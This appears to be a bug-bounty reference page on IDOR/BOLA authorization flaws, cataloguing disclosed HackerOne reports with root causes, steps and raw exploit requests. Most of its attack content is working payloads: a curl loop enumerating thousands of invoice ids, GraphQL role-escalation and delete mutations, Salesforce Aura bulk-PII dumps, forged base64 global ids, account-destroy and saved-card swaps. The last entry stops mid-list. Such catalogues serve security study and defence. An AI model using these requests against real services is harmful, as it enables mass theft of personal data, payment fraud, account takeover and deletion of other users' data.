IDOR (Insecure Direct Object Reference) is accessing another user's or another tenant's object by changing the identifier that points to it. The server authenticates who you are but never checks whether this object is yours — so one predictable id plus one missing ownership check equals read, modify, or delete of arbitrary users' data. On APIs the same flaw is called BOLA (Broken Object-Level Authorization) and it is the #1 API risk.
# A/B test: capture as A, replay the exact request with B's cookie against A's id
GET /api/orders/1001 HTTP/1.1
Host: TARGET
Cookie: session=<B_SESSION> # 1001 belongs to victim A
# 200 + A's order body => IDOR. 403/404 => boundary enforced (probe the side-channel)
Find which kind of identifier you hold, then attack it with the matching technique.
The easy case: integers you can walk. Change the id by ±1 to confirm, then loop the whole range for a mass dump. Especially rich on export/email/download endpoints keyed by numeric id.
# Enumerate every object once one id proves unauthorized
for id in $(seq 1 50000); do
curl -s -b "session=$SESS" "https://TARGET/api/invoice/$id" -o "inv_$id.json"
done
# 1) Leak foreign ids from a list/search endpoint (excessive data exposure)
POST /graphql HTTP/1.1
Host: TARGET
Content-Type: application/json
{"query":"query{memberships{id role user{email}}}"}
# 2) Replay the privileged action against a leaked UUID
PUT /api/memberships/<HARVESTED_UUID> HTTP/1.1
Content-Type: application/json
{"membership":{"role":"admin"}}
# Client-supplied tenant id sets the privilege boundary — swap it
POST /api/invitations HTTP/1.1
Host: TARGET
Content-Type: application/json
{"invitation":{"email":"attacker@COLLAB","role":"admin","organization":"<VICTIM_ORG_UUID>"}}
GET /api/orgs/<MY_ORG>/reports/<VICTIM_REPORT_ID> HTTP/1.1
# outer org checked; inner report fetched by global id -> victim's data
# base64 GraphQL global-id: decode -> change the numeric id -> re-encode
echo -n 'Report:123' | base64 # UmVwb3J0OjEyMw== (your own object)
echo -n 'Report:124' | base64 # UmVwb3J0OjEyNA== (walk the id, feed it back as node() arg)
POST /graphql HTTP/1.1
Content-Type: application/json
{"query":"mutation{deleteContent(id:\"<VICTIM_GLOBAL_ID>\"){ok}}"}
# 1) Attach a victim-owned object to your own container (no ownership check on the write)
POST /cube_models.json
{"datasource_id":"<VICTIM_ID>", ...}
# 2) Read the endpoint that reflects the attached object
GET /datasources.json
# response: {"login":"bot","pwd":"<VICTIM_DB_PASSWORD>", ...}
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 248 in this class.
Real-world example
Alternate-endpoint IDOR: same object, one endpoint checks, another doesn't
◆ Critical
Specimen #2442008 · security · awarded · 336 votes · resolved
Program securitySurface webTag file-upload
Root cause
Attachment access was validated on the report-submit/edit path but NOT on the report-summary edit path, which accepts attachment_ids and renders the referenced files in the markdown preview.
Method
- Note attachment ids are numeric and sequential
- Confirm the submit/edit-report endpoint rejects foreign attachment ids (was_successful:false)
- Instead PUT to /reports/<id>/summaries/<sid> with attachment_ids set to the victim's file id
- Victim's file renders in the summary markdown preview
PUT /reports/REPORT_ID/summaries/SUMMARY_ID HTTP/2
Host: hackerone.com
Content-Type: application/json
{"id":SUMMARY_ID,"category":"researcher","content":"x {F<VICTIM_FILE_ID>}","action_type":"publish","attachments":[],"attachment_ids":[VICTIM_FILE_ID]}
Insight — When one endpoint enforces ownership on an object, hunt for a SECOND feature that touches the same object type - the check is often missing there. Sequential numeric attachment ids make mass harvesting trivial.
Real-world example
Search/list endpoint IDOR via attacker-controlled organization_id
◆ Critical
Specimen #2487889 · security · awarded · 257 votes · resolved
Program securitySurface web
Root cause
The /bugs.json search endpoint filters by a client-supplied organization_id without checking the caller's membership, returning private report metadata for any org.
Method
- Log in as any user
- POST /bugs.json with organization_id set to a target org id (published on policy pages) and text_query a single digit to match broadly
- Enumerate substates to widen results
- Response leaks title, url, id, state, severity, submit details, reporter name of private reports
POST /bugs.json HTTP/2
Host: hackerone.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
text_query=1&organization_id=58579&persist=true&sort_type=pg_search_rank&view=message&substates%5B%5D=new&substates%5B%5D=triaged&substates%5B%5D=resolved
Insight — Search/list/report endpoints that take an org/tenant id as a body parameter are classic IDOR sinks. A single-char text_query is a fast way to dump everything.
Real-world example
Mass-assignment IDOR via project import: reassign foreign-key relations
◆ Critical
Specimen #743953 · gitlab · 20000 · 250 votes · resolved
Program gitlabSurface web
Root cause
project_tree_restorer.rb calls assign_attributes with import-controlled data; foreign-key collection attributes like issue_ids/merge_request_ids are not excluded, so an importer can attach existing DB objects (owned by others) to their new project by id.
Method
- Export a GitLab project to get the tarball format
- Edit project.json: set issue_ids=[<victim_issue_db_id>] and leave issues=[]
- Import the crafted tarball
- The imported project now shows the victim's private issue; brute-force the incremental id space to steal many
// project.json
"issue_ids": [ 27422144 ],
"issues": [],
// affected keys: board_ids, issue_ids, merge_request_ids, note_ids, ...
Insight — Import/restore and bulk-update features are prime mass-assignment IDOR sinks: any *_ids / foreign-key attribute that isn't explicitly allowlisted lets you graft other tenants' objects by incremental id. Denylisting is fragile - the fix for '_ids' was bypassed by nesting them under an 'attributes' key (#767770).
Real-world example
Payment IDOR: reference another user's saved-card id at checkout
◆ Critical
Specimen #391092 · yelp · awarded · 213 votes · resolved
Program yelpSurface web
Root cause
The /checkout/transaction_platform endpoint accepts a credit_card_id without verifying it belongs to the buyer, letting an attacker charge orders to any saved card id.
Method
- Start a Grubhub order via Yelp
- At /checkout/transaction_platform, substitute another user's credit_card_id
- Order is paid using the victim's stored card
POST /checkout/transaction_platform
...
credit_card_id=<OTHER_USERS_CARD_ID>
Insight — Saved-payment-method ids (credit_card_id, payment_source, token id) are IDOR sinks - referencing another user's stored instrument can let you spend on their behalf without ever seeing card data. Limited disclosure; mechanism per program summary.
Real-world example
Salesforce Aura cloneAttachment IDOR -> re-parent & download any file
◆ Critical
Specimen #2950536 · deptofdefense · none · 139 votes · resolved
Program deptofdefenseSurface webTag cloud
Root cause
A custom Apex controller (cloneAttachment) exposed via the Aura endpoint has no record-level authorization; an attacker clones any Attachment by Id and links it to a record they own, then downloads it via servlet.FileDownload.
Method
- Register on the Salesforce Experience/Community portal and grab an aura.token from any /sfsites/aura request
- Enumerate Attachment Ids (Salesforce Ids are highly predictable - see blog.hypn.za.net Salesforce-backed webapps)
- Use getItems on Contact to find your own Contact Id
- Call apex://ExAM.FileUploadController/ACTION$cloneAttachment with params {attachmentId:<victim>,parentId:<your Contact>}
- List Attachment records to get the newly-cloned file Id
- Download via /servlet/servlet.FileDownload?file=<new Id>
message={"actions":[{"id":"20;a","descriptor":"apex://ExAM.FileUploadController/ACTION$cloneAttachment","callingDescriptor":"markup://ExAM:AssessmentViewer","params":{"attachmentId":"00PRw000000MaT3MAK","parentId":"003Rw000002SJcsIAG"},"version":null}]}&aura.context=...&aura.token=...
Insight — On any Salesforce Community/Experience site, enumerate custom Apex controllers via the aura endpoint and test object CRUD (getItems/selectableListDataProvider) plus record-cloning actions; Salesforce record Ids are enumerable and custom controllers routinely lack sharing checks.
Real-world example
IDOR by email: user-identifier in body returns arbitrary user's PII
◆ Critical
Specimen #1773609 · mtn_group · none · 131 votes · resolved
Program mtn_groupSurface api
Root cause
POST /app/getUserNotes resolves the account from a userEmail supplied in the request body with no check that it matches the session, returning the target's phone number and account info.
Method
- Authenticate and capture the getUserNotes request
- Replace userEmail in the nested body with the victim's email
- Response returns the victim's PII
POST /app/getUserNotes HTTP/1.1
Host: mtnmobad.mtnbusiness.com.ng
Content-Type: application/json
Cookie: connect.sid=<attacker>
{"params":{"updates":[{"param":"user","value":{"userEmail":"VICTIM_EMAIL"},"op":"a"}],"cloneFrom":{...}}}
Insight — Email (or username/phone) as the object reference is as exploitable as a numeric id and needs no enumeration - you already know the victim's email. Check any lookup that takes an identifier in the body.
Real-world example
IDOR on profile-update via user id in JSON body
◆ Critical
Specimen #1714638 · mtn_group · none · 96 votes · resolved
Program mtn_groupSurface webTag account-takeover
Root cause
The /app/updateUser endpoint updates the profile identified by the id/email in the request body without verifying it belongs to the authenticated session, letting any user edit any other user's profile fields.
Method
- Log in as attacker, open profile, capture POST /app/updateUser
- Note the JSON id and email fields for your own account
- Repeat as victim to learn the victim's id/email
- As attacker, replace id/email in the request with the victim's and forward
- Victim profile (username, address, phone, company) is overwritten
POST /app/updateUser HTTP/1.1\nContent-Type: application/json\n\n{"id":"<VICTIM_ID>","email":"victim@...","username":"attacker-controlled","mobileNumber":"..."}
Insight — Any write endpoint that carries the target record's id/email in the body is an IDOR candidate: the server must bind the mutation to the session identity, not to a client-supplied id. Two-account A/B swap confirms it instantly.
Real-world example
Salesforce Community Aura getItems/getRecord PII enumeration
◆ Critical
Specimen #2294930 · deptofdefense · none · 89 votes · resolved
Program deptofdefenseSurface webChain register user -> aura.token -> getItems on Contact/AccTag cloud
Root cause
A Salesforce Experience/Community site exposed the Aura runtime controllers (getItems/getRecord) to any registered user with object permissions misconfigured, allowing bulk read of Contact/Account/AccountContactRelation records (names, emails, phones); Salesforce record Ids are sequential and enumerable.
Method
- Register a normal user on the Salesforce community portal and capture the aura.token
- POST to the Aura endpoint with the ApexActionController/RecordUiController getItems action
- Set entityNameOrId to Contact, pageSize 2000 to dump records
- Swap entityNameOrId to Account, AccountContactRelation, User to pull other objects; enumerate sequential Ids via getRecord
POST /s/sfsites/aura?...getComponentAttributes=1 HTTP/1.1
message={"actions":[{"id":"123;a","descriptor":"aura://ApexActionController/ACTION$getItems","params":{"entityNameOrId":"Contact","layoutType":"FULL","pageSize":2000,"currentPage":0,"getCount":false}}]}&aura.context=...&aura.token=<TOKEN>
Insight — On any Salesforce Lightning/Community site, always test the Aura controllers (getItems, getRecord, getRecords, getListUi) against Contact/Account/User with a low-priv account - misconfigured object/field permissions are extremely common and leak bulk PII; SF Ids are sequential so partial access enumerates everything.
Real-world example
Enumerable record ID in URL path exposes other users' PII at scale
◆ Critical
Specimen #1556950 · deptofdefense · none · 69 votes · resolved
Program deptofdefenseSurface web
Root cause
An authenticated self-service portal builds data-section URLs from a record ID that is not tied to the logged-in user or authorized server-side, so incrementing the ID returns other people's records (SSN-4, home of record, MOS, schools).
Method
- Authenticate and open 'My Data' to capture the dynamicdata section GET
- Note the record ID embedded in the path
- Send to Intruder and iterate the ID over a numeric range
- Grep responses for a field (e.g. 'Primary MOS') to flag successful cross-user records; repeat per section/tab ID
GET /SelfService/Home/dynamicdata/section/<unit>/<unit>%20TPU/61/124948002
# iterate the trailing record id; also vary the section id (61/444/2001) per tab
Insight — Self-service 'view my record' portals are prime IDOR: the object id in the path is often the only authorization. Enumerate it with Intruder and a grep-match on a PII marker. Multiple section IDs multiply the exposed data types.
Real-world example
Hijack/overwrite others' objects by swapping parent issue ID in create request
◆ Critical
Specimen #1096560 · x · none · 66 votes · resolved
Program xSurface web
Root cause
A JSON create endpoint accepts an issue/parent ID in the body and does not verify the caller owns that parent, so an attacker attaches arbitrary media/title/description to another user's issue.
Method
- Create your own issue, add media, and intercept the create request
- Change the issue field to a victim's issue ID
- Forward; the attacker-controlled content is written to the victim's issue
POST /app/items HTTP/1.1
Content-Type: application/json
X-CSRF-Token: <yours>
{"item_type":"image","issue":<VICTIM_ISSUE_ID>,"title":"Your account has been hacked","description":"...","image":"https://.../attacker.png"}
Insight — Create/append endpoints that carry a parent-object ID in the body are prime write-IDOR targets; a valid CSRF token from your own session is often all that's needed. Test by swapping the parent ID to a second account's object.
Real-world example
Sequential-ID IDOR in PDF-generation endpoint exposes PII records
◆ Critical
Specimen #1541740 · deptofdefense · none · 47 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
A document-generation endpoint keys off a predictable, incrementable numeric identifier (SRBHeaderID) with no per-record authorization, letting an authenticated user pull any other user's record (SSN, DOB, clearance, DoD ID).
Method
- Authenticate and open your own record; watch the network request in devtools
- Note the numeric identifier in the URL (e.g. SRBHeaderID=000000)
- Increment/decrement the ID and additional flags (isBoard, OT)
- Retrieve other users' generated documents
GET /SelfService/esrbss/PDF/Index?SRBHeaderID=000001&isBoard=false&OT=0
GET /SelfService/esrbss/PDF/Index?SRBHeaderID=000001&isBoard=true&OT=5
# SRBHeaderID iterable 000001 .. ~4500000
Insight — Watch generated-document/report endpoints in devtools for a raw numeric ID; toggle secondary flags (isBoard/OT/type) to reach different document classes. Fix is backend authz + tokenized one-time URLs.
Real-world example
Livechat auth-context confusion + predictable Mongo IDs -> unauth file read
◆ Critical
Specimen #3687142 · rocket_chat · none · 44 votes · resolved
Program rocket_chatSurface apiChain livechat auth-context confusion + predictable ObjectId ->
Root cause
Protected file downloads at /file-upload/:fileId/:name authorized livechat access via rc_room_type=l with rc_rid+rc_token but never verified that rc_rid matched the requested file's rid; combined with sequential/predictable MongoDB ObjectIds for :fileId (and :name being arbitrary), any uploaded file was readable unauthenticated.
Method
- Start/obtain a livechat session to get valid rc_token + rc_rid for some room
- Request /file-upload/<predicted fileId>/anything with rc_room_type=l and your rc_rid+rc_token
- Because rc_rid is not checked against the file's owning room, the file is returned
- Iterate predictable MongoDB ObjectIds to dump all uploaded files
GET /file-upload/<mongoObjectId>/anyname?rc_room_type=l&rc_rid=<your_livechat_rid>&rc_token=<your_livechat_token>
Insight — Two-part pattern: (1) a token valid for context A is accepted for context B because the binding (room/tenant/owner) is never re-checked against the requested object; (2) object identifiers are predictable (sequential Mongo ObjectIds). Together they yield full unauthenticated enumeration.
Real-world example
302 redirect still leaks the PDF body (incrementing record id)
◆ Critical
Specimen #1085782 · deptofdefense · none · 30 votes · resolved
Program deptofdefenseSurface web
Root cause
Access-control shows a 302 redirect for unauthorized record ids but the response body still contains the generated PDF; incrementing/decrementing the numeric id walks every user's medical (PHI) record.
Method
- Authenticate, open your own child's shot record: GET ...?id=<yourid>
- Send to Burp Repeater and change id by +/-1
- App returns HTTP 302 redirect back to the endpoint, but the 302 response body carries the other user's PDF
- Use Burp 'Copy to file' on the 302 to save the leaked PDF; iterate ids
GET /path/shotrecord?id=<victim_id> HTTP/1.1
Host: TARGET
Cookie: <session>
# Response: HTTP/1.1 302 Found (Location: /index)
# ...but body still contains the target's PDF -> Burp 'Copy to file'
Insight — A 302/redirect is NOT proof of enforcement. Always inspect the redirect response BODY - many frameworks render the resource then redirect, leaking it. Turn off follow-redirects and read raw bytes.
Real-world example
team_id + user_id tamper to evict any member; ids brute-forceable
◆ Critical
Specimen #1448550 · mtn_group · none · 28 votes · resolved
Program mtn_groupSurface web
Root cause
The remove-member action does not verify the requester controls the given team_id or the target user_id, and the response echoes user/team names; both ids are only 4 digits, enabling scripted removal of every user (including owners/admins) from every team.
Method
- As team owner, remove a member and intercept the request
- Swap team_id and user_id to a team/user you do not control -> target is removed and their name+team leak in the response
- Intruder across the 4-digit team_id x user_id space to evict everyone
POST /teams/remove HTTP/1.1
Host: TARGET
team_id=<VICTIM_TEAM>&user_id=<VICTIM_USER>
Insight — Membership/role management endpoints are prime IDOR: the action is authorized by 'you are an owner somewhere', not 'you own THIS team'. Small numeric id spaces make it a mass-destruction primitive, and error/response bodies double as an info-disclosure oracle.
Real-world example
Mass account modification via body-supplied id + leaked directory
◆ Critical
Specimen #1698006 · mtn_group · none · 28 votes · resolved
Program mtn_groupSurface webChain excessive data exposure (dashboardData) -> IDOR update -&Tag account-takeover
Root cause
The profile-update endpoint applies changes to whatever id/email is present in the request body without authorization checks, and a dashboard endpoint over-exposes every user's id and email, supplying the needed identifiers.
Method
- Intercept POST /app/dashboardData; response leaks all users' ids and emails
- Go to profile edit and intercept the update request
- Replace id and email with the victim's
- Forward; changes are saved on the victim's account
POST /app/dashboardData -> response leaks {id,email} for all users
Then profile-update with victim's id+email in body -> saved to victim
Insight — Chain an over-exposing list/dashboard endpoint (leaks ids/emails) with an update endpoint that trusts a body-supplied identifier. Always diff what the update request keys off (session vs body id).
Real-world example
Add-recipient IDOR exposes all files + auth-requirement bypass by id swap
◆ Critical
Specimen #429000 · deptofdefense · none · 25 votes · resolved
Program deptofdefenseSurface webChain IDOR add-recipient -> receive package -> download; par
Root cause
The add-recipient action on a file-transfer package trusts a numeric package ID with no ownership check, so decrementing it adds the attacker as a recipient of anyone's package; separately the optional CAC-download requirement is enforced on one flow but bypassed by swapping the file id into the normal download flow.
Method
- Send a file to yourself, verify, log into the package status page
- Intercept 'add recipient' POST and change the ID param to any other package number
- Package is emailed to you and downloadable with the shown password; iterate ids for hundreds of thousands of files
- CAC bypass: start a normal (non-CAC) file download, then swap the id to a CAC-required file id -> file info shown and downloadable
POST /Status.aspx?ID=<victim_package_id> HTTP/1.1
Host: TARGET
<add attacker email as recipient>
# CAC bypass:
POST /download?id=<CAC_required_file_id> (submitted via the normal, non-CAC flow)
Insight — Two lessons: (1) 'add me as a recipient/collaborator' is a read primitive - grant yourself access instead of reading directly. (2) A protection (CAC/MFA/step-up) tied to one flow is often absent on a sibling flow for the same object - re-request the object through the unprotected path.
Real-world example
Unauth comment enumeration via incremental cnvID
◆ Critical
Specimen #265284 · concretecms · none · 22 votes · resolved
Program concretecmsSurface web
Root cause
An AJAX conversation-view endpoint served comment threads keyed only by an incremental cnvID with no authentication or per-object access check, so any unauthenticated user could enumerate all comments including admin-only blogs.
Method
- Find the conversation AJAX endpoint /index.php/tools/required/conversations/view_ajax.
- POST incremental integer cnvID values with no session.
- Enumerate 1..N to dump comments from every conversation, including restricted ones.
POST /index.php/tools/required/conversations/view_ajax HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
cnvID=1234
Insight — AJAX/'tools' helper endpoints are frequently unauthenticated and skip the access checks the page UI enforces. Fuzz numeric object ids against them without a session first.
Real-world example
Incremental id in URL exposes any user's e-form (PII)
◆ Critical
Specimen #395246 · deptofdefense · none · 21 votes · resolved
Program deptofdefenseSurface web
Root cause
An authenticated e-form retrieval endpoint keyed records by a sequential id in the URL with no per-user access check, returning the full form JSON (SSN, DoB, clearance data) of any user.
Method
- Capture an authenticated request that fetches your own submitted e-form.
- Increment/decrement the numeric id in the URL.
- Retrieve any other user's full form JSON.
GET /path/to/eform/<id> HTTP/1.1
Host: TARGET.mil
Authorization: Bearer <your token>
Insight — A single compromised low-priv account on shared SSO becomes a full-corpus PII dump when record ids are sequential. Severity tracks the sensitivity behind the id, not the auth level.
Real-world example
Chat attachment IDOR downloads arbitrary server files/emails
◆ Critical
Specimen #345162 · ratelimited · none · 20 votes · resolved
Program ratelimitedSurface webChain IDOR file read -> ticket join links in leaked email ->Tag account-takeover
Root cause
Support-chat file download references attachments by an incrementing send_blob_id with no ownership check, exposing every uploaded file, email, and log on the support server.
Method
- Start a support chat and upload a file to obtain the download request
- Note the numeric send_blob_id parameter
- Fuzz send_blob_id with Burp Intruder and collect 200 responses
- Retrieve arbitrary users'/admins' files, emails, and server logs
GET /chat/send-attach/<sid>?__sid=<sid>&send_blob_id=485&_=1525115609706 HTTP/1.1
Host: support.ratelimited.me
X-Requested-With: XMLHttpRequest
Cookie: dpsid=<sid>; ...
Insight — Any numeric blob/attachment/file id in a download URL is an IDOR candidate; Intruder-sweep the id space and filter on 200s. Support/helpdesk backends often store cross-tenant mail and logs behind these ids.
Real-world example
Salesforce Community Aura record-level IDOR (mass PII)
◆ Critical
Specimen #2968391 · deptofdefense · none · 15 votes · resolved
Program deptofdefenseSurface webChain open self-registration -> Aura API -> record-Id IDOR -
Root cause
A DoD Salesforce Experience/Community site allows open self-registration and the underlying object (Document/chat records) has broken record-level access, so an authenticated low-priv community user can retrieve other users' records via the Aura /s/sfsites/aura endpoint by iterating record Ids.
Method
- Self-register at the community portal (/s/login/SelfRegister) to get an authenticated session
- Capture any POST to /s/sfsites/aura and extract the aura.token/context
- Replay Aura getRecord/getItems actions for the exposed object (Document) iterating record Ids to dump records
- Enumerate Ids to harvest PII (names, contacts, medical/criminal chat logs)
POST /s/sfsites/aura?r=1&... HTTP/2
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
message={"actions":[{"descriptor":"aura://RecordUiController/ACTION$getRecordWithFields","params":{"recordId":"<15/18-char Id>", ...}}]}&aura.context=...&aura.token=<token>
Insight — On Salesforce Community/Experience Cloud sites, self-register then hit /s/sfsites/aura with getRecord/getItems/getRecordAvatars and iterate object Ids; guest/low-priv record-level sharing is a recurring critical IDOR (aura.token is reusable). Fingerprint Salesforce via /s/sfsites/ and aura endpoints.
Real-world example
Unauthenticated incremental-id API leaks all users
◆ Critical
Specimen #1175980 · gsa_vdp · none · 14 votes · resolved
Program gsa_vdpSurface api
Root cause
An API route under /api/public/ requires no authentication and takes a sequential customer id, returning each user's PII; the id is trivially brute-forceable across the full range.
Method
- Hit /tmssserver/api/public/customerregistration/<id>/userId/ unauthenticated
- Confirm it returns email/name/phone/secret-question for that id
- Iterate id 0..N (or use the /emailId/ variant) to dump all users
curl "https://TARGET/tmssserver/api/public/customerregistration/4750/userId/"
curl "https://TARGET/tmssserver/api/public/customerregistration/EMAIL/emailId/"
Insight — Routes literally named /public/ are a magnet for missing authZ; combine with a sequential numeric id and you get a full-database enumeration. Always brute a small id window first to prove scale, and test alternate lookup keys (email) on the same endpoint.
Real-world example
Unauthenticated sequential id on success page leaks all records
◆ Critical
Specimen #1536936 · mtn_group · none · 13 votes · resolved
Program mtn_groupSurface web
Root cause
A post-submission success page renders a sensitive record selected by an unauthenticated, sequential message URL parameter, exposing every user's National Identity Number.
Method
- Visit /nin/success?message=1 with no authentication
- Increment/iterate the message parameter
- Read other users' submitted NIN records
GET /nin/success?message=1
GET /nin/success?message=3
GET /nin/success?message=5 (odd sequence increments)
Insight — Post-submission 'success/thank-you' pages routinely re-display the just-submitted record via a guessable id param with no auth. Iterate the id (note step patterns, here +2) to dump the whole table.
Real-world example
Unauthenticated document API by numeric id
◆ Critical
Specimen #388554 · deptofdefense · none · 8 votes · resolved
Program deptofdefenseSurface api
Root cause
A document-serving API returns files by numeric id with no authentication or ownership check, exposing tens of thousands of ITAR-restricted / FOUO vendor documents.
Method
- Request /api/document/{n} with any numeric id
- Observe the document downloads if it exists
- Iterate n across the low tens of thousands to dump the corpus
GET /api/document/1
GET /api/document/2 ... (integer enumeration, no auth)
Insight — /api/<resource>/<int> with no auth is the purest IDOR -- enumerate the integer to exfiltrate the entire document store. Always test API document/file endpoints unauthenticated.
Real-world example
GraphQL mutation object-id IDOR: delete any user's content
◆ High
Specimen #1819832 · snapchat · 15000 · 791 votes · resolved
Program snapchatSurface graphqlTag graphql
Root cause
A GraphQL delete mutation takes a client-supplied object id array and performs no ownership check, so any authenticated user can delete arbitrary users' objects by substituting the target id.
Method
- Log in at my.snapchat.com/myposts and click delete on your own Spotlight post
- Intercept the DeleteStorySnaps GraphQL request in Burp
- Replace the ids value with a victim's Spotlight snap id (harvestable from story.snapchat.com/spotlight/<id> share URLs)
- Forward the request; victim's video is deleted
{"operationName":"DeleteStorySnaps","variables":{"ids":["VICTIM_SNAP_ID"],"storyType":"SPOTLIGHT_STORY"},"query":"mutation DeleteStorySnaps($ids: [String!]!, $storyType: StoryType!) {\n deleteStorySnaps(ids: $ids, storyType: $storyType)\n}\n"}
Insight — On any GraphQL mutation that acts on an id/ids argument, swap in another user's object id. Public share URLs often leak those ids. The same pattern deletes HackerOne certifications via CreateOrUpdateHackerCertification (#2122671).
Real-world example
IDOR on internal RPC leaks PII + mobile auth token
◆ High
Specimen #542340 · uber · awarded · 642 votes · resolved
Program uberSurface apiChain IDOR -> leaked mobile auth token -> account takeoverTag account-takeover
Root cause
A public RPC endpoint accepted an attacker-supplied userUuid without ownership checks, returning the victim's personal data and mobile auth token (usable to call mobile APIs as the victim).
Method
- Find endpoints taking a user/object UUID in the body/query
- Substitute another user's UUID (rider/driver)
- Read returned PII and any embedded auth/session token, then replay the token
POST /marketplace/_rpc?rpc=getConsentScreenDetails
{"userUuid":"<VICTIM_UUID>"}
Insight — Object-scoped RPCs that return an auth token are IDOR->ATO: the leaked token is the real prize. Always inspect the response for tokens, not just PII.
Real-world example
Base64-encoded GraphQL global-id (gid) enumeration IDOR
◆ High
Specimen #1969141 · security · awarded · 346 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
GraphQL relay-style global ids are just base64 of gid://app/Type/N; the server trusts the decoded id without an ownership check, so decoding, incrementing and re-encoding yields other tenants' objects.
Method
- Capture the UpdateCampaign GraphQL request while editing your own campaign
- Base64-decode campaign_id -> gid://hackerone/Campaign/244
- Change the numeric suffix to another program's campaign id and re-encode base64
- Send the mutation to delete/edit that campaign
{"operationName":"UpdateCampaign","variables":{"input":{"campaign_id":"Z2lkOi8vaGFja2Vyb25lL0NhbXBhaWduLzI0NA==","team_id":"...","start_date":"...","end_date":"...","critical":3,"high":2,"medium":1.5,"low":1.5}},"query":"mutation UpdateCampaign($input: UpdateCampaignInput!){updateCampaign(input:$input){was_successful}}"}
# decode: echo Z2lk... | base64 -d -> gid://hackerone/Campaign/244
# increment N, re-encode: echo -n gid://hackerone/Campaign/245 | base64
Insight — Whenever a GraphQL id looks like a random base64 blob, decode it - it is usually gid://app/Type/N. The numeric N is enumerable. Same trick disclosed HackerOne AsmTag custom tags via AddTagToAssets (#2633771).
Real-world example
GraphQL mutation succeeds despite a 404/not-found response (IDOR via global id)
◆ High
Specimen #1501611 · security · awarded · 318 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
archiveStructuredScope / unarchiveStructuredScope accepted a base64 gid for any program's scope; the mutation returned an object-not-found error yet still performed the archive/unarchive, so the misleading error masked a working IDOR across 90k+ objects.
Method
- Derive target gid: base64('gid://hackerone/StructuredScope/NUMBER')
- Send ArchiveScope/UnarchiveStructuredScope mutation with the victim gid and your own auth token
- Ignore the 'not found' error - the action still applied
{"operationName":"ArchiveScope","variables":{"structured_scope_id":"Z2lkOi8vaGFja2Vyb25lL1N0cnVjdHVyZWRTY29wZS85NDc3Mw=="},"query":"mutation ArchiveScope($structured_scope_id: ID!){archiveStructuredScope(input:{structured_scope_id:$structured_scope_id}){was_successful structured_scope{id archived_at}}}"}
Insight — Do not trust the response body: an error/404 in a GraphQL mutation does not mean the side effect failed. Re-check state out-of-band. GraphQL global IDs are just base64('gid://app/Type/N') - forge them to reach objects you can't see.
Real-world example
REST DELETE IDOR on numeric message id (missing permission check)
◆ High
Specimen #1213237 · reddit · 5000 · 263 votes · resolved
Program redditSurface api
Root cause
A REST DELETE on /api/v1/messages/<id> performs no check that the message belongs to the caller, so any numeric id can be deleted.
Method
- Create accounts; send a DM between two of them
- As a third (attacker) account, send DELETE /api/v1/messages/<id> with your own cookies/CSRF
- Message id is numeric/sequential -> iterate to delete all messages
DELETE /api/v1/messages/4423007/ HTTP/1.1
Host: www.redditgifts.com
X-CSRFTOKEN: <attacker-csrf>
Referer: https://www.redditgifts.com/api/
Cookie: csrftoken=<attacker>; sessionid=<attacker>
Insight — State-changing REST verbs (DELETE/PUT) on numeric ids are the highest-yield IDORs. Always test destructive actions with another account's object id; sequential ids give mass impact.
Real-world example
Org takeover via IDOR on membership role update (missing scope check)
◆ High
Specimen #809816 · helium · 500 · 262 votes · resolved
Program heliumSurface apiChain leak membership id (GraphQL) -> cross-tenant IDOR role upTag graphql
Root cause
PUT /api/memberships/<id> role change only verifies the requester is an admin of THEIR currently-active org, not that the target membership belongs to that org. A user who is admin of org A can promote their manager-membership in org B to admin.
Method
- Get invited to target org B as Manager
- While active in B, run PaginatedMembershipsQuery to leak your membership id
- Switch back to your own org A (where you are admin) to get an admin-scoped token
- Send PUT /api/memberships/<B_membership_id> {role:admin} with the A-scoped token
- Switch to B — now admin
PUT /api/memberships/bc96332e-c6b4-4728-b35e-8145eea0996a HTTP/1.1
Host: console.helium.com
Authorization: Bearer <ADMIN_TOKEN_FOR_YOUR_OWN_ORG>
Content-Type: application/json
{"membership":{"role":"admin"}}
Insight — Multi-tenant role/permission endpoints often check 'are you an admin?' against your current org context but forget to check the object belongs to that context. Leak a foreign object ID, then act on it while holding a privileged token from a DIFFERENT tenant.
Real-world example
Session-misbinding IDOR: server trusts body identity over the authenticated session
◆ High
Specimen #3154983 · mozilla · awarded · 235 votes · resolved
Program mozillaSurface apiTag account-takeover
Root cause
POST /v1/account/destroy identifies the target account from the JSON body (email + authPW hash) instead of the session, and never verifies the session owns that account.
Method
- Capture a legit account-destroy request to learn the body shape
- Harvest the victim's email and authPW (the password-derived hash the client sends)
- From your own authenticated session, replay account/destroy with the victim's email+authPW body
- Server deletes the victim's account under the attacker's session
POST /v1/account/destroy HTTP/2
Host: api.accounts.firefox.com
Authorization: <ATTACKER session>
Content-Type: application/json
{"email":"victim@example.com","authPW":"<victim authPW hash>"}
Insight — When a sensitive action takes identity params in the body, test whether the session is actually bound to them. Note the caveat: this needs the victim's authPW; team framed real impact around SSO accounts where that value is obtainable.
Real-world example
Two-step GraphQL IDOR: harvest object ids, then modify by id
◆ High
Specimen #1661113 · reddit · awarded · 206 votes · resolved
Program redditSurface graphqlTag graphql
Root cause
One GraphQL query returns a target user's social-link object ids given only a username; a second mutation updates a link by that id with no ownership check.
Method
- POST to gql.reddit.com with the profile query, passing variables.username = victim
- Response returns each socialLink object with its id
- Send the update mutation with that id plus your chosen title/url
- Victim's profile links are overwritten
// step1 - leak ids
{"id":"11a239b07f86","variables":{"username":"VICTIM"}}
// step2 - overwrite
{"id":"c558e604581f","variables":{"input":{"socialLinks":[{"outboundUrl":"https://attacker.tld","title":"x","type":"CUSTOM","id":"VICTIM_LINK_ID"}]}}}
Insight — Persisted-query GraphQL (only a query hash + variables) is still IDOR-prone. Look for a read op that returns object ids for arbitrary users, then feed those ids to a write op.
Real-world example
IDOR via hidden form field (hidBlogID) to edit another user's object
◆ High
Specimen #974222 · automattic · awarded · 176 votes · resolved
Program automatticSurface web
Root cause
The blog-edit form posts a hidden hidBlogID identifying the target blog; the server updates it without verifying ownership.
Method
- Create attacker and victim accounts; both add a Blog/Website
- On the victim page source, read radMainSite/hidBlogID value
